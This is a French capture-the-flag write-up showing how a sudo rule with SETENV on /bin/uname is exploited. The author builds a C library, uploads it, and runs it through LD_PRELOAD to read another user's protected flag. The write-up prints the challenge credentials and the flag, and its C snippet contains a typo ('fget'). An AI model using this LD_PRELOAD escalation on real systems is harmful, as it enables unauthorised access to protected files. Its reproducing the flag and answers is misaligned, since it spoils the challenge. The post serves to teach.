Write-Up du challenge "Protection de l'environnement", StarHackademINT 2022

> from hecatonchire#4292

Énoncé :

```
Apprenez à bien protéger votre environnement.

Username: bobcat
Password: bobcat
`ssh bobcat@challenges.hackademint.org -p 31937`
```

En se connectant à la machine, on arrive dans le répertoire /home/bobcat-gg, où se trouve un fichier `flag`.

```
bobcat@protection-environnement-7b4bd77b58-75zx6:~$ ls -lh
total 4.0K
-r--r----- 1 root bobcat-gg 44 Sep  8 07:38 flag
```

Il n'est accessible en lecture qu'à root et bobcat-gg, il faut donc trouver un moyen d'au moins avoir les permissions de bobcat-gg. Qu'avons-nous côté permissions ?

```
bobcat@protection-environnement-7b4bd77b58-75zx6:~$ sudo -l
Matching Defaults entries for bobcat on protection-environnement-7b4bd77b58-
75zx6:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bobcat may run the following commands on protection-environnement-
7b4bd77b58-75zx6:
    (bobcat-gg) SETENV: NOPASSWD: /bin/uname
```

Nous avons donc assez étrangement la permission de run la commande uname avec les permissions de bobcat-gg (l'utilisateur qui nous intéresse donc). C'est assez curieux car que ce soit lui ou moi qui la tapions, l'output sera toujours identique, c'est donc un indice

pour trouver le flag. Si nous nous rappelons du titre du challenge, il parle d'environnement :

```
bobcat@protection-environnement-7b4bd77b58-75zx6:~$ env
SHELL=/bin/bash
PWD=/home/bobcat
LOGNAME=bobcat
MOTD_SHOWN=pam
HOME=/home/bobcat
SSH_CONNECTION=157.159.191.54 6218 10.42.0.12 22
TERM=xterm-256color
USER=bobcat
SHLVL=1
SSH_CLIENT=157.159.191.54 6218 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/3
_=/usr/bin/env
OLDPWD=/
```

Rien de forcément intéressant, j'ai essayé de faire un script bash s'appellant `uname`, le mettre dans le PATH et d'enlever l'ancien uname du PATH mais rien de concluant (pour des raisons évidentes...). Les autres variables semblent communes, il faut donc chercher une autre variable qui n'est a priori pas définie de base.
Il existe en réalité une variable d'environnement qui s'appelle `LD_PRELOAD` qui sert à charger une librairie avant d'éxecuter un programme, par exemple : `LD_PRELOAD=/lib64/mylibc.so /bin/foo` éxecute mylibc.so avant /bin/foo. L'astuce réside donc là ; développer une libraire qui puisse afficher le contenu de `flag`, et comme la commande là est `/bin/foo` (ou plutôt `uname`...), la libraire héritera des permissions de `/bin/foo` (ou `uname`). Or, on a la possibilité d'éxecuter `uname` en ayant les permissions de bobcat-gg. Il nous suffit donc tout d'abord de développer une fonction en C pour notre librairie dont le seul but est d'afficher le contenu du fichier `flag` :

```c
#include <stdio.h>

void uname() {
        FILE *f;
        char s;
        f = fopen("/home/bobcat-gg/flag","r");
        while((s = fget(f)) != EOF) {
                printf("%c", s);
        }
```

```
        fclose(f);
}
```

Il faut ensuite la compiler avec les bonnes options pour en faire une librairie :

```
gcc -o libcat.so -fpic -shared libcat.c
```

La mettre sur la machine du challenge :

```
scp -P 31937 libcat.so bobcat@challenges.hackademint.org:/tmp
```

Et de taper sur la machine du challenge :

```
sudo -u bobcat-gg LD_PRELOAD=/tmp/libcat.so uname
```

Pour avoir ses permissions, et ainsi le flag s'affiche :

```
Star{I_should_g0_to_th3_library_mor3_oft3n}
```

Remerciements envers Woomy et Iziram pour les détails techniques